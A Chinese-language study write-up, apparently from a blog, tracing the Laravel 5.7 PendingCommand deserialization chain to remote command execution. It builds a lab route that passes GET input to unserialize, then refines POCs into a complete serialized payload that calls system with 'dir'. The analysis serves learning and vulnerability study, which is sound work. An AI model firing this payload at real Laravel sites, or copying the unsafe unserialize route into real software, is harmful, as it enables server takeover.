前期准备&参考资料
composer相关:
http://blog.unvs.cn/archives/phpstudy-composer-setup-use.html
https://www.runoob.com/w3cnote/composer-install-and-usage.html
反序列化参考
https://blog.csdn.net/rfrder/article/details/113826483
https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
https://blog.csdn.net/meteox/article/details/121751311
github拖源码:laravel5.7
官方api文档:https://laravel.com/api/5.8/
记得安装composer!!!(可以使用phpstudy集成的,composer install会遇到报错,需要修改php.ini文件,可以参考上面的链接
composer install其实还是要下载挺多东西的。
添加反序列化路由
注意访问index.php的路径应该为http://127.0.0.1/laravel5.7/public/index.php
注意吧根目录下面的.env.example
改为.env
(太艹了
原来还要生成一个key,根目录下执行,根据自己composer install的php版本执行可能比较合适D:\phpstudty8.1\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe artisan key:generate
(这个更艹了,我宣布laravel的前期准备真的sb
先在routes/web.php添加一条路由解析记录Route::get('/unser', 'unserialize@unser');
然后在app/Http/Controllers下面添加unserialize.php,写上源代码:
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function unser(){
if(isset($_GET['unser'])){
unserialize($_GET['unser']);
}else{
highlight_file(__FILE__);
}
return "unser";
}
}
?>
序列化的payload编写就自行随便建立一个Serialize.php编写即可。
反序列化链子分析
对比5.6和5.7版本,可以知道多出了个PendingCommand.php,在这个目录下:D:\phpstudty8.1\phpstudy_pro\WWW\laravel5.7\vendor\laravel\framework\src\Illuminate\Foundation\Testing
查阅官方api文档可知,这个PendingCommand可以进行命令执行,这不是送上来的洞吗,继续翻看可知__destruct方法会调用run方法(现在看到 destruct方法就激动hhh),run方法明显就是来进行commmand execute
,所以思路就是构造pop链来触发PendingCommand了。run方法如下:
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
最主要的利用点在$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
这里,所以要想办法走到这一句话。
先写一个POC验证一下:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;
public function __construct(){
$this->command='system';
$this->parameters[]='calc';
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
发现报错了,this->test没有expectedOutput这个属性
看来得正常执行$this->mockConsoleOutput();
函数才行,下面开始尝试。
大师傅们经过寻找,选择了Illuminate\Auth\GenericUser
类,有一个get方法可以调用:
调整完后,可以绕过上面那个错误了,POC如下:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
public function __construct(){
$this->command='system';
$this->parameters[]='calc';
$this->test=new GenericUser();
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput']=['w1nd','w1nd'];
$this->attributes['expectedQuestions']=['w1nd','w1nd'];
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
但是遇到了新的错误,Call to a member function bind() on null
:
原因大概是this->app为空,所以写一个进去先:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command='system';
$this->parameters[]='calc';
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application
{
public function __construct(){
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput']=['w1nd','w1nd'];
$this->attributes['expectedQuestions']=['w1nd','w1nd'];
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
序列化后,传入unser,又报错了:
Kernel::class
是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel
。
class Application extends Container implements ApplicationContract, HttpKernelInterface
这里可以看出Applocation其实是Container的子类,所以会继承Container的所有函数。
可以发现进入了Container.php,一路跟踪下去发现最后会返回一个object,object会去调用call函数,搜一下container的call函数,跟踪过程如下:
先是进入offsetGet:
/**
* Get the value at a given offset.
*
* @param string $key
* @return mixed
*/
public function offsetGet($key)
{
return $this->make($key);
}
然后进入make:
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
之后来到resolve:
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
//这里可以看到最后是返回了一个object的
Container的call函数:
/**
* Call the given Closure / class@method and inject its dependencies.
*
* @param callable|string $callback
* @param array $parameters
* @param string|null $defaultMethod
* @return mixed
*/
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
WisdomTree大师傅的想法:
通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel
这个类,但是在getConcrete
这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php
的704行,可以看到这里判断$this->bindings[$abstract])
是否存在,若存在则返回$this->bindings[$abstract]['concrete']
。
$bindings
是vendor/laravel/framework/src/Illuminate/Container/Container.php
文件中Container
类中的属性。因此我们只要寻找一个继承自Container
的类,即可通过反序列化控制 $this->bindings
属性。而Illuminate\Foundation\Application
恰好继承自Container
类,这就是我选择Illuminate\Foundation\Application
对象放入$this->app
的原因。由于我们已知$abstract
变量为Illuminate\Contracts\Console\Kernel
,所以我们只需通过反序列化定义Illuminate\Foundation\Application
的$bindings
属性存在键名为Illuminate\Contracts\Console\Kernel
的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application
类。
从resolve那里开始,有这个$concrete = $this->getConcrete($abstract);
,来看看getConcrete:
/**
* Get the concrete type for a given abstract.
*
* @param string $abstract
* @return mixed $concrete
*/
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
分析可知第一个if进不去,来到第二个if,这个bindings是container的属性,所以可控,this是我们控制的application对象,所以这个getConcrete返回值我们也是可控的。
写个POC验证一下,不试不知道,一试下一跳,直接打穿了哈哈哈哈:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command='system';
$this->parameters[]='dir';
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application
{
protected $bindings = [];
public function __construct(){
$this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'));
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput']=['w1nd','w1nd'];
$this->attributes['expectedQuestions']=['w1nd','w1nd'];
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
分析到上面其实就已经能够命令执行了,因为后面的语句大概都没什么影响,if应该都进不去啥的。但还是继续分析一下,有始有终。
返回concrete的值后,来到了下面的语句:
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
//无法进行isBuildable,会再次make,然后resolve,然后getConcrete,因为this->bindings['Illuminate\Foundation\Application']不存在所以直接返回了['Illuminate\Foundation\Application'],然后满足isBuildable,进入build函数
build函数如下,由注释和$reflector = new ReflectionClass($concrete);
可以看出这个函数反射实例化了一个对象,所以最后返回了一个Illuminate\Foundation\Application
对象:
/**
* Instantiate a concrete instance of the given type.
*
* @param string $concrete
* @return mixed
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function build($concrete)
{
// If the concrete type is actually a Closure, we will just execute it and
// hand back the results of the functions, which allows functions to be
// used as resolvers for more fine-tuned resolution of these objects.
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}
$reflector = new ReflectionClass($concrete);
// If the type is not instantiable, the developer is attempting to resolve
// an abstract type such as an Interface or Abstract Class and there is
// no binding registered for the abstractions so we need to bail out.
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}
$this->buildStack[] = $concrete;
$constructor = $reflector->getConstructor();
// If there are no constructors, that means there are no dependencies then
// we can just resolve the instances of the objects right away, without
// resolving any other types or dependencies out of these containers.
if (is_null($constructor)) {
array_pop($this->buildStack);
return new $concrete;
}
$dependencies = $constructor->getParameters();
// Once we have all the constructor's parameters we can create each of the
// dependency instances and then use the reflection instances to make a
// new instance of this class, injecting the created dependencies in.
$instances = $this->resolveDependencies(
$dependencies
);
array_pop($this->buildStack);
return $reflector->newInstanceArgs($instances);
}
返回来之后,就Application会调用call函数,这个函数是继承来自Container的
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
来到BoundMethod::call,这里有一个call_user_func_array经典的调用函数进行命令执行,这个应该就是最后的地方了。
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
//打断点知道第一个if进不去,然后直接进行第二个return,注意到有一个call_user_func_array
跟入到getMethodDependencies:
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
//这里array_merge进行了一个数组的合并,没有什么影响。
大概到这里整个链子就分析完毕了,相当于最后执行了一个call_user_func_array('system',array(0=>'dir));
最终serialize.php代码:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command='system';
$this->parameters[]='dir';
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application
{
protected $bindings = [];
public function __construct(){
$this->bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>'Illuminate\Foundation\Application'));
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct()
{
$this->attributes['expectedOutput']=['w1nd','w1nd'];
$this->attributes['expectedQuestions']=['w1nd','w1nd'];
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
总结
本次还是学到了点东西的,关于laravel框架也基本上有一定的了解了,跟着大师傅的博客慢慢分析了5.7的一个关于PendingCommand的反序列化漏洞点,学习到了。继续加油吧!